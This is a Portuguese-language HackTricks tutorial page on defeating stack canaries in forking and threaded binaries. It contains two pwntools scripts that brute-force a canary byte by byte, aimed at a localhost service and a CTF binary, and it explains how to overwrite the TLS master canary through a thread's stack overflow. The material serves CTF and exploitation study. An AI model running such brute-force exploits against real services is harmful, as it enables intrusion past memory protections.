6.3 KiB
BF Forked & Threaded Stack Canaries
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras maneiras de apoiar o HackTricks:
- Se você deseja ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF Verifique os PLANOS DE ASSINATURA!
- Adquira o swag oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe seus truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Se você estiver lidando com um binário protegido por um canário e PIE (Position Independent Executable), provavelmente precisará encontrar uma maneira de contorná-los.
{% hint style="info" %}
Observe que o checksec
pode não encontrar que um binário está protegido por um canário se este foi compilado estaticamente e não é capaz de identificar a função.
No entanto, você pode notar manualmente isso se encontrar que um valor é salvo na pilha no início de uma chamada de função e este valor é verificado antes de sair.
{% endhint %}
Brute force no Canary
A melhor maneira de contornar um canário simples é se o binário for um programa criando processos filhos toda vez que você estabelece uma nova conexão com ele (serviço de rede), porque toda vez que você se conecta a ele o mesmo canário será usado.
Então, a melhor maneira de contornar o canário é simplesmente forçá-lo caractere por caractere, e você pode descobrir se o byte do canário adivinhado estava correto verificando se o programa travou ou continua seu fluxo regular. Neste exemplo, a função força bruta um canário de 8 Bytes (x64) e distingue entre um byte adivinhado correto e um byte ruim apenas verificando se uma resposta é enviada de volta pelo servidor (outra maneira em outras situações poderia ser usando um try/except):
Exemplo 1
Este exemplo é implementado para 64 bits, mas poderia ser facilmente implementado para 32 bits.
from pwn import *
def connect():
r = remote("localhost", 8788)
def get_bf(base):
canary = ""
guess = 0x0
base += canary
while len(canary) < 8:
while guess != 0xff:
r = connect()
r.recvuntil("Username: ")
r.send(base + chr(guess))
if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base
canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
Exemplo 2
Isso é implementado para 32 bits, mas poderia ser facilmente alterado para 64 bits.
Também observe que, para este exemplo, o programa espera primeiro um byte para indicar o tamanho da entrada e a carga útil.
from pwn import *
# Here is the function to brute force the canary
def breakCanary():
known_canary = b""
test_canary = 0x0
len_bytes_to_read = 0x21
for j in range(0, 4):
# Iterate up to 0xff times to brute force all posible values for byte
for test_canary in range(0xff):
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")
# Send the current input size
target.send(len_bytes_to_read.to_bytes(1, "little"))
# Send this iterations canary
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))
# Scan in the output, determine if we have a correct value
output = target.recvuntil(b"exit.")
if b"YUM" in output:
# If we have a correct value, record the canary value, reset the canary value, and move on
print(" - next byte is: " + hex(test_canary))
known_canary = known_canary + test_canary.to_bytes(1, "little")
len_bytes_to_read += 1
break
# Return the canary
return known_canary
# Start the target process
target = process('./feedme')
#gdb.attach(target)
# Brute force the canary
canary = breakCanary()
log.info(f"The canary is: {canary}")
Threads
As threads do mesmo processo também compartilharão o mesmo token canary, portanto será possível forçar a barra de um canary se o binário gerar uma nova thread sempre que um ataque ocorrer.
Além disso, um estouro de buffer em uma função com thread protegida com canary poderia ser usado para modificar o canary mestre armazenado no TLS. Isso ocorre porque pode ser possível alcançar a posição de memória onde o TLS é armazenado (e, portanto, o canary) por meio de um estouro de buffer na pilha de uma thread.
Como resultado, a mitigação é inútil porque a verificação é feita com dois canaries que são iguais (embora modificados).
Este ataque é realizado no writeup: http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads
Confira também a apresentação de https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015 que menciona que geralmente o TLS é armazenado por mmap
e quando uma pilha de thread é criada, também é gerada por mmap
de acordo com isso, o que pode permitir o estouro conforme mostrado no writeup anterior.
Outros exemplos e referências
- https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html
- 64 bits, sem PIE, nx, BF canary, escreva em alguma memória um ROP para chamar
execve
e pule para lá.